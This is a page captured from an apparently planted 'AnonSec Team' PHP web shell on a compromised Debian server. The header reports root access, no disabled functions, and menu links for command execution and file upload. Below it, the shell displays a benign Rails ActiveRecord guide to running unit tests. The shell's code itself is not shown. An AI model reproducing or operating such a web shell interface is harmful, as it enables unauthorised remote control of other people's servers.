AnonSec Team
Server IP : 161.35.85.9  /  Your IP : 216.73.217.138
Web Server : nginx/1.30.4
System : Linux cheapdeb-ams3 7.1.13+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 7.1.13-1 (2026-09-03) x86_64
User : root ( 0)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/doc/ruby-activerecord/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /usr/share/doc/ruby-activerecord/RUNNING_UNIT_TESTS.rdoc
== Setup

If you don't have an environment for running tests, read
https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#setting-up-a-development-environment

== Running the Tests

To run a specific test:

  $ bundle exec ruby -Itest test/cases/base_test.rb -n method_name

To run a set of tests:

  $ bundle exec ruby -Itest test/cases/base_test.rb

You can also run tests that depend upon a specific database backend. For
example:

  $ bundle exec rake test:sqlite3

Simply executing <tt>bundle exec rake test</tt> is equivalent to the following:

  $ bundle exec rake test:mysql2
  $ bundle exec rake test:trilogy
  $ bundle exec rake test:postgresql
  $ bundle exec rake test:sqlite3

Using the SQLite3 adapter with an in-memory database is the fastest way
to run the tests:

  $ bundle exec rake test:sqlite3_mem

There should be tests available for each database backend listed in the {Config
File}[rdoc-label:label-Config+File]. (the exact set of available tests is
defined in +Rakefile+)

There are some performance tests for the encryption system that can be run with.

  $ rake test:encryption:performance:mysql2
  $ rake test:integration:active_job:postgresql
  $ rake test:encryption:performance:sqlite3

These performance tests are not executed as part of the regular testing tasks.

== Config File

If +test/config.yml+ is present, then its parameters are obeyed; otherwise, the
parameters in +test/config.example.yml+ are.

You can override the +connections:+ parameter in either file using the +ARCONN+
(Active Record CONNection) environment variable:

  $ ARCONN=postgresql bundle exec ruby -Itest test/cases/base_test.rb

Or

  $ bundle exec rake test:postgresql TEST=test/cases/base_test.rb

You can specify a custom location for the config file using the +ARCONFIG+
environment variable.

AnonSec - 2021